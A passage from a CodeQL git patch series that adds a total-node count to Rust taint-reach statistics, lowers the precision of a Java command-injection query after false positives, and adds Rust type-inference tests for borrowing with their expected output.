don't include flow summary nodes, as their number is unstable (varies when models + * are added). */ -float getTaintReach() { result = (getTaintedNodesCount() * 1000000.0) / count(DataFlow::Node n) } +float getTaintReach() { result = (getTaintedNodesCount() * 1000000.0) / count(DataFlow::Node n | not n instanceof FlowSummaryNode) } From e64d083fc18be98952496111a190193298ccf55e Mon Sep 17 00:00:00 2001 From: Geoffrey White <40627776+geoffw0@users.noreply.github.com> Date: Tue, 10 Jun 2025 17:33:33 +0100 Subject: [PATCH 234/271] Rust: Lets also output the total number of nodes to make understanding this easier. --- rust/ql/src/queries/summary/Stats.qll | 2 ++ rust/ql/src/queries/summary/TaintReach.qll | 14 ++++++++++++-- 2 files changed, 14 insertions(+), 2 deletions(-) diff --git a/rust/ql/src/queries/summary/Stats.qll b/rust/ql/src/queries/summary/Stats.qll index 1feaf3ab48b..3156f1ffb26 100644 --- a/rust/ql/src/queries/summary/Stats.qll +++ b/rust/ql/src/queries/summary/Stats.qll @@ -189,6 +189,8 @@ predicate taintStats(string key, int value) { or key = "Taint reach - nodes tainted" and value = getTaintedNodesCount() or + key = "Taint reach - total non-summary nodes" and value = getTotalNodesCount() + or key = "Taint reach - per million nodes" and value = getTaintReach().floor() or key = "Taint sinks - query sinks" and value = getQuerySinksCount() diff --git a/rust/ql/src/queries/summary/TaintReach.qll b/rust/ql/src/queries/summary/TaintReach.qll index 1c2f2f35621..650bbe727c3 100644 --- a/rust/ql/src/queries/summary/TaintReach.qll +++ b/rust/ql/src/queries/summary/TaintReach.qll @@ -26,7 +26,17 @@ private module TaintReachFlow = TaintTracking::Global; * We don't include flow summary nodes, as their number is unstable (varies when models * are added). */ -int getTaintedNodesCount() { result = count(DataFlow::Node n | TaintReachFlow::flowTo(n) and not n instanceof FlowSummaryNode) } +int getTaintedNodesCount() { + result = count(DataFlow::Node n | TaintReachFlow::flowTo(n) and not n instanceof FlowSummaryNode) +} + +/** + * Gets the total number of data flow nodes. + * + * We don't include flow summary nodes, as their number is unstable (varies when models + * are added). + */ +int getTotalNodesCount() { result = count(DataFlow::Node n | not n instanceof FlowSummaryNode) } /** * Gets the proportion of data flow nodes that taint reaches (from any source), @@ -35,4 +45,4 @@ int getTaintedNodesCount() { result = count(DataFlow::Node n | TaintReachFlow::f * We don't include flow summary nodes, as their number is unstable (varies when models * are added). */ -float getTaintReach() { result = (getTaintedNodesCount() * 1000000.0) / count(DataFlow::Node n | not n instanceof FlowSummaryNode) } +float getTaintReach() { result = (getTaintedNodesCount() * 1000000.0) / getTotalNodesCount() } From 857b51be5895bf437ea25b5ce2581527d5af69fb Mon Sep 17 00:00:00 2001 From: Ana Scolari <127357173+apsscolari@users.noreply.github.com> Date: Tue, 10 Jun 2025 16:06:22 -0700 Subject: [PATCH 235/271] Update ExecUnescaped.ql - causing FPs with hard coded strings This query is generating False positives with hard coded strings declared within the function - issue reported by customer. We had a discussion on code_scanning channel on 6/5/25 and the team agreed upon reducing its precision to Medium. --- java/ql/src/Security/CWE/CWE-078/ExecUnescaped.ql | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/java/ql/src/Security/CWE/CWE-078/ExecUnescaped.ql b/java/ql/src/Security/CWE/CWE-078/ExecUnescaped.ql index d50f583bbfe..afa675c7f7b 100644 --- a/java/ql/src/Security/CWE/CWE-078/ExecUnescaped.ql +++ b/java/ql/src/Security/CWE/CWE-078/ExecUnescaped.ql @@ -5,7 +5,7 @@ * @kind problem * @problem.severity error * @security-severity 9.8 - * @precision high + * @precision medium * @id java/concatenated-command-line * @tags security * external/cwe/cwe-078 From 510bbac0e48d4b647688cdf8cd86895b6e0ad5e2 Mon Sep 17 00:00:00 2001 From: Ana Scolari <127357173+apsscolari@users.noreply.github.com> Date: Tue, 10 Jun 2025 16:17:32 -0700 Subject: [PATCH 236/271] Create 2025-06-10-reduce-precision-for-building-cmdline-with-string-concatenation.md --- ...precision-for-building-cmdline-with-string-concatenation.md | 3 +++ 1 file changed, 3 insertions(+) create mode 100644 java/ql/src/change-notes/2025-06-10-reduce-precision-for-building-cmdline-with-string-concatenation.md diff --git a/java/ql/src/change-notes/2025-06-10-reduce-precision-for-building-cmdline-with-string-concatenation.md b/java/ql/src/change-notes/2025-06-10-reduce-precision-for-building-cmdline-with-string-concatenation.md new file mode 100644 index 00000000000..fe79304526d --- /dev/null +++ b/java/ql/src/change-notes/2025-06-10-reduce-precision-for-building-cmdline-with-string-concatenation.md @@ -0,0 +1,3 @@ +category: queryMetadata +--- +* Adjusts the `@precision` from high to medium for `java/concatenated-command-line` because it is producing false positive alerts when the concatenated strings are harded coded. From 8f5d9d77021d52fa664bd199e958c64b92bd8f08 Mon Sep 17 00:00:00 2001 From: Simon Friis Vindum Date: Wed, 11 Jun 2025 08:38:30 +0200 Subject: [PATCH 237/271] Rust: Add type inference tests for borrowing --- .../test/library-tests/type-inference/main.rs | 19 + .../type-inference/type-inference.expected | 2091 +++++++++-------- 2 files changed, 1074 insertions(+), 1036 deletions(-) diff --git a/rust/ql/test/library-tests/type-inference/main.rs b/rust/ql/test/library-tests/type-inference/main.rs index ba1dcefe372..6a967d2c609 100644 --- a/rust/ql/test/library-tests/type-inference/main.rs +++ b/rust/ql/test/library-tests/type-inference/main.rs @@ -1154,6 +1154,17 @@ mod implicit_self_borrow { } mod borrowed_typed { + #[derive(Debug, Copy, Clone, Default)] + struct MyFlag { + bool: bool, + } + + impl MyFlag { + fn flip(&mut self) { + self.bool = !self.bool; // $ fieldof=MyFlag method=not + } + } + struct S; impl S { @@ -1179,6 +1190,14 @@ mod borrowed_typed { x.f1(); // $ method=f1 x.f2(); // $ method=f2 S::f3(&x); + + let n = **&&true; // $ MISSING: type=n:bool + + // In this example the type of `flag` must be inferred at the call to + // `flip` and flow through the borrow in the argument. + let mut flag = Default::default(); + MyFlag::flip(&mut flag); + println!("{:?}", flag); // $ MISSING: type=flag:MyFlag } } diff --git a/rust/ql/test/library-tests/type-inference/type-inference.expected b/rust/ql/test/library-tests/type-inference/type-inference.expected index b70af3bcbeb..7babe27a4fa 100644 --- a/rust/ql/test/library-tests/type-inference/type-inference.expected +++ b/rust/ql/test/library-tests/type-inference/type-inference.expected @@ -1429,1042 +1429,1061 @@ inferType | main.rs:1152:9:1152:15 | x.foo() | | file://:0:0:0:0 | & | | main.rs:1152:9:1152:15 | x.foo() | &T | main.rs:1142:5:1142:26 | MyStruct | | main.rs:1152:9:1152:15 | x.foo() | &T.T | main.rs:1140:5:1140:13 | S | -| main.rs:1160:15:1160:19 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:1160:15:1160:19 | SelfParam | &T | main.rs:1157:5:1157:13 | S | -| main.rs:1160:31:1162:9 | { ... } | | file://:0:0:0:0 | & | -| main.rs:1160:31:1162:9 | { ... } | &T | main.rs:1157:5:1157:13 | S | -| main.rs:1161:13:1161:19 | &... | | file://:0:0:0:0 | & | -| main.rs:1161:13:1161:19 | &... | &T | main.rs:1157:5:1157:13 | S | -| main.rs:1161:14:1161:19 | &... | | file://:0:0:0:0 | & | -| main.rs:1161:14:1161:19 | &... | &T | main.rs:1157:5:1157:13 | S | -| main.rs:1161:15:1161:19 | &self | | file://:0:0:0:0 | & | -| main.rs:1161:15:1161:19 | &self | &T | main.rs:1157:5:1157:13 | S | -| main.rs:1161:16:1161:19 | self | | file://:0:0:0:0 | & | -| main.rs:1161:16:1161:19 | self | &T | main.rs:1157:5:1157:13 | S | -| main.rs:1164:15:1164:25 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:1164:15:1164:25 | SelfParam | &T | main.rs:1157:5:1157:13 | S | -| main.rs:1164:37:1166:9 | { ... } | | file://:0:0:0:0 | & | -| main.rs:1164:37:1166:9 | { ... } | &T | main.rs:1157:5:1157:13 | S | -| main.rs:1165:13:1165:19 | &... | | file://:0:0:0:0 | & | -| main.rs:1165:13:1165:19 | &... | &T | main.rs:1157:5:1157:13 | S | -| main.rs:1165:14:1165:19 | &... | | file://:0:0:0:0 | & | -| main.rs:1165:14:1165:19 | &... | &T | main.rs:1157:5:1157:13 | S | -| main.rs:1165:15:1165:19 | &self | | file://:0:0:0:0 | & | -| main.rs:1165:15:1165:19 | &self | &T | main.rs:1157:5:1157:13 | S | -| main.rs:1165:16:1165:19 | self | | file://:0:0:0:0 | & | -| main.rs:1165:16:1165:19 | self | &T | main.rs:1157:5:1157:13 | S | -| main.rs:1168:15:1168:15 | x | | file://:0:0:0:0 | & | -| main.rs:1168:15:1168:15 | x | &T | main.rs:1157:5:1157:13 | S | -| main.rs:1168:34:1170:9 | { ... } | | file://:0:0:0:0 | & | -| main.rs:1168:34:1170:9 | { ... } | &T | main.rs:1157:5:1157:13 | S | -| main.rs:1169:13:1169:13 | x | | file://:0:0:0:0 | & | -| main.rs:1169:13:1169:13 | x | &T | main.rs:1157:5:1157:13 | S | -| main.rs:1172:15:1172:15 | x | | file://:0:0:0:0 | & | -| main.rs:1172:15:1172:15 | x | &T | main.rs:1157:5:1157:13 | S | -| main.rs:1172:34:1174:9 | { ... } | | file://:0:0:0:0 | & | -| main.rs:1172:34:1174:9 | { ... } | &T | main.rs:1157:5:1157:13 | S | -| main.rs:1173:13:1173:16 | &... | | file://:0:0:0:0 | & | -| main.rs:1173:13:1173:16 | &... | &T | main.rs:1157:5:1157:13 | S | -| main.rs:1173:14:1173:16 | &... | | file://:0:0:0:0 | & | -| main.rs:1173:14:1173:16 | &... | &T | main.rs:1157:5:1157:13 | S | -| main.rs:1173:15:1173:16 | &x | | file://:0:0:0:0 | & | -| main.rs:1173:15:1173:16 | &x | &T | main.rs:1157:5:1157:13 | S | -| main.rs:1173:16:1173:16 | x | | file://:0:0:0:0 | & | -| main.rs:1173:16:1173:16 | x | &T | main.rs:1157:5:1157:13 | S | -| main.rs:1178:13:1178:13 | x | | main.rs:1157:5:1157:13 | S | -| main.rs:1178:17:1178:20 | S {...} | | main.rs:1157:5:1157:13 | S | -| main.rs:1179:9:1179:9 | x | | main.rs:1157:5:1157:13 | S | -| main.rs:1179:9:1179:14 | x.f1() | | file://:0:0:0:0 | & | -| main.rs:1179:9:1179:14 | x.f1() | &T | main.rs:1157:5:1157:13 | S | -| main.rs:1180:9:1180:9 | x | | main.rs:1157:5:1157:13 | S | -| main.rs:1180:9:1180:14 | x.f2() | | file://:0:0:0:0 | & | -| main.rs:1180:9:1180:14 | x.f2() | &T | main.rs:1157:5:1157:13 | S | -| main.rs:1181:9:1181:17 | ...::f3(...) | | file://:0:0:0:0 | & | -| main.rs:1181:9:1181:17 | ...::f3(...) | &T | main.rs:1157:5:1157:13 | S | -| main.rs:1181:15:1181:16 | &x | | file://:0:0:0:0 | & | -| main.rs:1181:15:1181:16 | &x | &T | main.rs:1157:5:1157:13 | S | -| main.rs:1181:16:1181:16 | x | | main.rs:1157:5:1157:13 | S | -| main.rs:1195:43:1198:5 | { ... } | | {EXTERNAL LOCATION} | Result | -| main.rs:1195:43:1198:5 | { ... } | E | main.rs:1188:5:1189:14 | S1 | -| main.rs:1195:43:1198:5 | { ... } | T | main.rs:1188:5:1189:14 | S1 | -| main.rs:1196:13:1196:13 | x | | main.rs:1188:5:1189:14 | S1 | -| main.rs:1196:17:1196:30 | ...::Ok(...) | | {EXTERNAL LOCATION} | Result | -| main.rs:1196:17:1196:30 | ...::Ok(...) | T | main.rs:1188:5:1189:14 | S1 | -| main.rs:1196:17:1196:31 | TryExpr | | main.rs:1188:5:1189:14 | S1 | -| main.rs:1196:28:1196:29 | S1 | | main.rs:1188:5:1189:14 | S1 | -| main.rs:1197:9:1197:22 | ...::Ok(...) | | {EXTERNAL LOCATION} | Result | -| main.rs:1197:9:1197:22 | ...::Ok(...) | E | main.rs:1188:5:1189:14 | S1 | -| main.rs:1197:9:1197:22 | ...::Ok(...) | T | main.rs:1188:5:1189:14 | S1 | -| main.rs:1197:20:1197:21 | S1 | | main.rs:1188:5:1189:14 | S1 | -| main.rs:1201:46:1205:5 | { ... } | | {EXTERNAL LOCATION} | Result | -| main.rs:1201:46:1205:5 | { ... } | E | main.rs:1191:5:1192:14 | S2 | -| main.rs:1201:46:1205:5 | { ... } | T | main.rs:1188:5:1189:14 | S1 | -| main.rs:1202:13:1202:13 | x | | {EXTERNAL LOCATION} | Result | -| main.rs:1202:13:1202:13 | x | T | main.rs:1188:5:1189:14 | S1 | -| main.rs:1202:17:1202:30 | ...::Ok(...) | | {EXTERNAL LOCATION} | Result | -| main.rs:1202:17:1202:30 | ...::Ok(...) | T | main.rs:1188:5:1189:14 | S1 | -| main.rs:1202:28:1202:29 | S1 | | main.rs:1188:5:1189:14 | S1 | -| main.rs:1203:13:1203:13 | y | | main.rs:1188:5:1189:14 | S1 | -| main.rs:1203:17:1203:17 | x | | {EXTERNAL LOCATION} | Result | -| main.rs:1203:17:1203:17 | x | T | main.rs:1188:5:1189:14 | S1 | -| main.rs:1203:17:1203:18 | TryExpr | | main.rs:1188:5:1189:14 | S1 | -| main.rs:1204:9:1204:22 | ...::Ok(...) | | {EXTERNAL LOCATION} | Result | -| main.rs:1204:9:1204:22 | ...::Ok(...) | E | main.rs:1191:5:1192:14 | S2 | -| main.rs:1204:9:1204:22 | ...::Ok(...) | T | main.rs:1188:5:1189:14 | S1 | -| main.rs:1204:20:1204:21 | S1 | | main.rs:1188:5:1189:14 | S1 | -| main.rs:1208:40:1213:5 | { ... } | | {EXTERNAL LOCATION} | Result | -| main.rs:1208:40:1213:5 | { ... } | E | main.rs:1191:5:1192:14 | S2 | -| main.rs:1208:40:1213:5 | { ... } | T | main.rs:1188:5:1189:14 | S1 | -| main.rs:1209:13:1209:13 | x | | {EXTERNAL LOCATION} | Result | -| main.rs:1209:13:1209:13 | x | T | {EXTERNAL LOCATION} | Result | -| main.rs:1209:13:1209:13 | x | T.T | main.rs:1188:5:1189:14 | S1 | -| main.rs:1209:17:1209:42 | ...::Ok(...) | | {EXTERNAL LOCATION} | Result | -| main.rs:1209:17:1209:42 | ...::Ok(...) | T | {EXTERNAL LOCATION} | Result | -| main.rs:1209:17:1209:42 | ...::Ok(...) | T.T | main.rs:1188:5:1189:14 | S1 | -| main.rs:1209:28:1209:41 | ...::Ok(...) | | {EXTERNAL LOCATION} | Result | -| main.rs:1209:28:1209:41 | ...::Ok(...) | T | main.rs:1188:5:1189:14 | S1 | -| main.rs:1209:39:1209:40 | S1 | | main.rs:1188:5:1189:14 | S1 | -| main.rs:1211:17:1211:17 | x | | {EXTERNAL LOCATION} | Result | -| main.rs:1211:17:1211:17 | x | T | {EXTERNAL LOCATION} | Result | -| main.rs:1211:17:1211:17 | x | T.T | main.rs:1188:5:1189:14 | S1 | -| main.rs:1211:17:1211:18 | TryExpr | | {EXTERNAL LOCATION} | Result | -| main.rs:1211:17:1211:18 | TryExpr | T | main.rs:1188:5:1189:14 | S1 | -| main.rs:1211:17:1211:29 | ... .map(...) | | {EXTERNAL LOCATION} | Result | -| main.rs:1212:9:1212:22 | ...::Ok(...) | | {EXTERNAL LOCATION} | Result | -| main.rs:1212:9:1212:22 | ...::Ok(...) | E | main.rs:1191:5:1192:14 | S2 | -| main.rs:1212:9:1212:22 | ...::Ok(...) | T | main.rs:1188:5:1189:14 | S1 | -| main.rs:1212:20:1212:21 | S1 | | main.rs:1188:5:1189:14 | S1 | -| main.rs:1216:30:1216:34 | input | | {EXTERNAL LOCATION} | Result | -| main.rs:1216:30:1216:34 | input | E | main.rs:1188:5:1189:14 | S1 | -| main.rs:1216:30:1216:34 | input | T | main.rs:1216:20:1216:27 | T | -| main.rs:1216:69:1223:5 | { ... } | | {EXTERNAL LOCATION} | Result | -| main.rs:1216:69:1223:5 | { ... } | E | main.rs:1188:5:1189:14 | S1 | -| main.rs:1216:69:1223:5 | { ... } | T | main.rs:1216:20:1216:27 | T | -| main.rs:1217:13:1217:17 | value | | main.rs:1216:20:1216:27 | T | -| main.rs:1217:21:1217:25 | input | | {EXTERNAL LOCATION} | Result | -| main.rs:1217:21:1217:25 | input | E | main.rs:1188:5:1189:14 | S1 | -| main.rs:1217:21:1217:25 | input | T | main.rs:1216:20:1216:27 | T | -| main.rs:1217:21:1217:26 | TryExpr | | main.rs:1216:20:1216:27 | T | -| main.rs:1218:22:1218:38 | ...::Ok(...) | | {EXTERNAL LOCATION} | Result | -| main.rs:1218:22:1218:38 | ...::Ok(...) | T | main.rs:1216:20:1216:27 | T | -| main.rs:1218:22:1221:10 | ... .and_then(...) | | {EXTERNAL LOCATION} | Result | -| main.rs:1218:33:1218:37 | value | | main.rs:1216:20:1216:27 | T | -| main.rs:1218:53:1221:9 | { ... } | | {EXTERNAL LOCATION} | Result | -| main.rs:1218:53:1221:9 | { ... } | E | main.rs:1188:5:1189:14 | S1 | -| main.rs:1219:22:1219:27 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | -| main.rs:1220:13:1220:34 | ...::Ok::<...>(...) | | {EXTERNAL LOCATION} | Result | -| main.rs:1220:13:1220:34 | ...::Ok::<...>(...) | E | main.rs:1188:5:1189:14 | S1 | -| main.rs:1222:9:1222:23 | ...::Err(...) | | {EXTERNAL LOCATION} | Result | -| main.rs:1222:9:1222:23 | ...::Err(...) | E | main.rs:1188:5:1189:14 | S1 | -| main.rs:1222:9:1222:23 | ...::Err(...) | T | main.rs:1216:20:1216:27 | T | -| main.rs:1222:21:1222:22 | S1 | | main.rs:1188:5:1189:14 | S1 | -| main.rs:1226:37:1226:52 | try_same_error(...) | | {EXTERNAL LOCATION} | Result | -| main.rs:1226:37:1226:52 | try_same_error(...) | E | main.rs:1188:5:1189:14 | S1 | -| main.rs:1226:37:1226:52 | try_same_error(...) | T | main.rs:1188:5:1189:14 | S1 | -| main.rs:1227:22:1227:27 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | -| main.rs:1230:37:1230:55 | try_convert_error(...) | | {EXTERNAL LOCATION} | Result | -| main.rs:1230:37:1230:55 | try_convert_error(...) | E | main.rs:1191:5:1192:14 | S2 | -| main.rs:1230:37:1230:55 | try_convert_error(...) | T | main.rs:1188:5:1189:14 | S1 | -| main.rs:1231:22:1231:27 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | -| main.rs:1234:37:1234:49 | try_chained(...) | | {EXTERNAL LOCATION} | Result | -| main.rs:1234:37:1234:49 | try_chained(...) | E | main.rs:1191:5:1192:14 | S2 | -| main.rs:1234:37:1234:49 | try_chained(...) | T | main.rs:1188:5:1189:14 | S1 | -| main.rs:1235:22:1235:27 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | -| main.rs:1238:37:1238:63 | try_complex(...) | | {EXTERNAL LOCATION} | Result | -| main.rs:1238:37:1238:63 | try_complex(...) | E | main.rs:1188:5:1189:14 | S1 | -| main.rs:1238:37:1238:63 | try_complex(...) | T | main.rs:1188:5:1189:14 | S1 | -| main.rs:1238:49:1238:62 | ...::Ok(...) | | {EXTERNAL LOCATION} | Result | -| main.rs:1238:49:1238:62 | ...::Ok(...) | E | main.rs:1188:5:1189:14 | S1 | -| main.rs:1238:49:1238:62 | ...::Ok(...) | T | main.rs:1188:5:1189:14 | S1 | -| main.rs:1238:60:1238:61 | S1 | | main.rs:1188:5:1189:14 | S1 | -| main.rs:1239:22:1239:27 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | -| main.rs:1246:13:1246:13 | x | | {EXTERNAL LOCATION} | i32 | -| main.rs:1246:22:1246:22 | 1 | | {EXTERNAL LOCATION} | i32 | -| main.rs:1247:13:1247:13 | y | | {EXTERNAL LOCATION} | i32 | -| main.rs:1247:17:1247:17 | 2 | | {EXTERNAL LOCATION} | i32 | -| main.rs:1248:13:1248:13 | z | | {EXTERNAL LOCATION} | i32 | -| main.rs:1248:17:1248:17 | x | | {EXTERNAL LOCATION} | i32 | -| main.rs:1248:17:1248:21 | ... + ... | | {EXTERNAL LOCATION} | i32 | -| main.rs:1248:21:1248:21 | y | | {EXTERNAL LOCATION} | i32 | -| main.rs:1249:13:1249:13 | z | | {EXTERNAL LOCATION} | i32 | -| main.rs:1249:17:1249:17 | x | | {EXTERNAL LOCATION} | i32 | -| main.rs:1249:17:1249:23 | x.abs() | | {EXTERNAL LOCATION} | i32 | -| main.rs:1250:13:1250:13 | c | | {EXTERNAL LOCATION} | char | -| main.rs:1250:17:1250:19 | 'c' | | {EXTERNAL LOCATION} | char | -| main.rs:1251:13:1251:17 | hello | | {EXTERNAL LOCATION} | str | -| main.rs:1251:21:1251:27 | "Hello" | | {EXTERNAL LOCATION} | str | -| main.rs:1252:13:1252:13 | f | | {EXTERNAL LOCATION} | f64 | -| main.rs:1252:17:1252:24 | 123.0f64 | | {EXTERNAL LOCATION} | f64 | -| main.rs:1253:13:1253:13 | t | | {EXTERNAL LOCATION} | bool | -| main.rs:1253:17:1253:20 | true | | {EXTERNAL LOCATION} | bool | -| main.rs:1254:13:1254:13 | f | | {EXTERNAL LOCATION} | bool | -| main.rs:1254:17:1254:21 | false | | {EXTERNAL LOCATION} | bool | -| main.rs:1261:13:1261:13 | x | | {EXTERNAL LOCATION} | bool | -| main.rs:1261:17:1261:20 | true | | {EXTERNAL LOCATION} | bool | -| main.rs:1261:17:1261:29 | ... && ... | | {EXTERNAL LOCATION} | bool | -| main.rs:1261:25:1261:29 | false | | {EXTERNAL LOCATION} | bool | -| main.rs:1262:13:1262:13 | y | | {EXTERNAL LOCATION} | bool | -| main.rs:1262:17:1262:20 | true | | {EXTERNAL LOCATION} | bool | -| main.rs:1262:17:1262:29 | ... \|\| ... | | {EXTERNAL LOCATION} | bool | -| main.rs:1262:25:1262:29 | false | | {EXTERNAL LOCATION} | bool | -| main.rs:1264:13:1264:17 | mut a | | {EXTERNAL LOCATION} | i32 | -| main.rs:1265:13:1265:16 | cond | | {EXTERNAL LOCATION} | bool | -| main.rs:1265:20:1265:21 | 34 | | {EXTERNAL LOCATION} | i32 | -| main.rs:1265:20:1265:27 | ... == ... | | {EXTERNAL LOCATION} | bool | -| main.rs:1265:26:1265:27 | 33 | | {EXTERNAL LOCATION} | i32 | -| main.rs:1266:12:1266:15 | cond | | {EXTERNAL LOCATION} | bool | -| main.rs:1267:17:1267:17 | z | | file://:0:0:0:0 | () | -| main.rs:1267:21:1267:27 | (...) | | file://:0:0:0:0 | () | -| main.rs:1267:22:1267:22 | a | | {EXTERNAL LOCATION} | i32 | -| main.rs:1267:22:1267:26 | ... = ... | | file://:0:0:0:0 | () | -| main.rs:1267:26:1267:26 | 1 | | {EXTERNAL LOCATION} | i32 | -| main.rs:1269:13:1269:13 | a | | {EXTERNAL LOCATION} | i32 | -| main.rs:1269:13:1269:17 | ... = ... | | file://:0:0:0:0 | () | -| main.rs:1269:17:1269:17 | 2 | | {EXTERNAL LOCATION} | i32 | -| main.rs:1271:9:1271:9 | a | | {EXTERNAL LOCATION} | i32 | -| main.rs:1288:16:1288:19 | SelfParam | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1288:22:1288:24 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1288:41:1293:9 | { ... } | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1289:13:1292:13 | Vec2 {...} | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1290:20:1290:23 | self | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1290:20:1290:25 | self.x | | {EXTERNAL LOCATION} | i64 | -| main.rs:1290:20:1290:33 | ... + ... | | {EXTERNAL LOCATION} | i64 | -| main.rs:1290:29:1290:31 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1290:29:1290:33 | rhs.x | | {EXTERNAL LOCATION} | i64 | -| main.rs:1291:20:1291:23 | self | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1291:20:1291:25 | self.y | | {EXTERNAL LOCATION} | i64 | -| main.rs:1291:20:1291:33 | ... + ... | | {EXTERNAL LOCATION} | i64 | -| main.rs:1291:29:1291:31 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1291:29:1291:33 | rhs.y | | {EXTERNAL LOCATION} | i64 | -| main.rs:1298:23:1298:31 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:1298:23:1298:31 | SelfParam | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1298:34:1298:36 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1299:13:1299:16 | self | | file://:0:0:0:0 | & | -| main.rs:1299:13:1299:16 | self | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1299:13:1299:18 | self.x | | {EXTERNAL LOCATION} | i64 | -| main.rs:1299:13:1299:27 | ... += ... | | file://:0:0:0:0 | () | -| main.rs:1299:23:1299:25 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1299:23:1299:27 | rhs.x | | {EXTERNAL LOCATION} | i64 | -| main.rs:1300:13:1300:16 | self | | file://:0:0:0:0 | & | -| main.rs:1300:13:1300:16 | self | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1300:13:1300:18 | self.y | | {EXTERNAL LOCATION} | i64 | -| main.rs:1300:13:1300:27 | ... += ... | | file://:0:0:0:0 | () | -| main.rs:1300:23:1300:25 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1300:23:1300:27 | rhs.y | | {EXTERNAL LOCATION} | i64 | -| main.rs:1306:16:1306:19 | SelfParam | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1306:22:1306:24 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1306:41:1311:9 | { ... } | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1307:13:1310:13 | Vec2 {...} | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1308:20:1308:23 | self | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1308:20:1308:25 | self.x | | {EXTERNAL LOCATION} | i64 | -| main.rs:1308:20:1308:33 | ... - ... | | {EXTERNAL LOCATION} | i64 | -| main.rs:1308:29:1308:31 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1308:29:1308:33 | rhs.x | | {EXTERNAL LOCATION} | i64 | -| main.rs:1309:20:1309:23 | self | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1309:20:1309:25 | self.y | | {EXTERNAL LOCATION} | i64 | -| main.rs:1309:20:1309:33 | ... - ... | | {EXTERNAL LOCATION} | i64 | -| main.rs:1309:29:1309:31 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1309:29:1309:33 | rhs.y | | {EXTERNAL LOCATION} | i64 | -| main.rs:1316:23:1316:31 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:1316:23:1316:31 | SelfParam | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1316:34:1316:36 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1317:13:1317:16 | self | | file://:0:0:0:0 | & | -| main.rs:1317:13:1317:16 | self | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1317:13:1317:18 | self.x | | {EXTERNAL LOCATION} | i64 | -| main.rs:1317:13:1317:27 | ... -= ... | | file://:0:0:0:0 | () | -| main.rs:1317:23:1317:25 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1317:23:1317:27 | rhs.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1163:17:1163:25 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:1163:17:1163:25 | SelfParam | &T | main.rs:1157:5:1160:5 | MyFlag | +| main.rs:1164:13:1164:16 | self | | file://:0:0:0:0 | & | +| main.rs:1164:13:1164:16 | self | &T | main.rs:1157:5:1160:5 | MyFlag | +| main.rs:1164:13:1164:21 | self.bool | | {EXTERNAL LOCATION} | bool | +| main.rs:1164:13:1164:34 | ... = ... | | file://:0:0:0:0 | () | +| main.rs:1164:25:1164:34 | ! ... | | {EXTERNAL LOCATION} | bool | +| main.rs:1164:26:1164:29 | self | | file://:0:0:0:0 | & | +| main.rs:1164:26:1164:29 | self | &T | main.rs:1157:5:1160:5 | MyFlag | +| main.rs:1164:26:1164:34 | self.bool | | {EXTERNAL LOCATION} | bool | +| main.rs:1171:15:1171:19 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:1171:15:1171:19 | SelfParam | &T | main.rs:1168:5:1168:13 | S | +| main.rs:1171:31:1173:9 | { ... } | | file://:0:0:0:0 | & | +| main.rs:1171:31:1173:9 | { ... } | &T | main.rs:1168:5:1168:13 | S | +| main.rs:1172:13:1172:19 | &... | | file://:0:0:0:0 | & | +| main.rs:1172:13:1172:19 | &... | &T | main.rs:1168:5:1168:13 | S | +| main.rs:1172:14:1172:19 | &... | | file://:0:0:0:0 | & | +| main.rs:1172:14:1172:19 | &... | &T | main.rs:1168:5:1168:13 | S | +| main.rs:1172:15:1172:19 | &self | | file://:0:0:0:0 | & | +| main.rs:1172:15:1172:19 | &self | &T | main.rs:1168:5:1168:13 | S | +| main.rs:1172:16:1172:19 | self | | file://:0:0:0:0 | & | +| main.rs:1172:16:1172:19 | self | &T | main.rs:1168:5:1168:13 | S | +| main.rs:1175:15:1175:25 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:1175:15:1175:25 | SelfParam | &T | main.rs:1168:5:1168:13 | S | +| main.rs:1175:37:1177:9 | { ... } | | file://:0:0:0:0 | & | +| main.rs:1175:37:1177:9 | { ... } | &T | main.rs:1168:5:1168:13 | S | +| main.rs:1176:13:1176:19 | &... | | file://:0:0:0:0 | & | +| main.rs:1176:13:1176:19 | &... | &T | main.rs:1168:5:1168:13 | S | +| main.rs:1176:14:1176:19 | &... | | file://:0:0:0:0 | & | +| main.rs:1176:14:1176:19 | &... | &T | main.rs:1168:5:1168:13 | S | +| main.rs:1176:15:1176:19 | &self | | file://:0:0:0:0 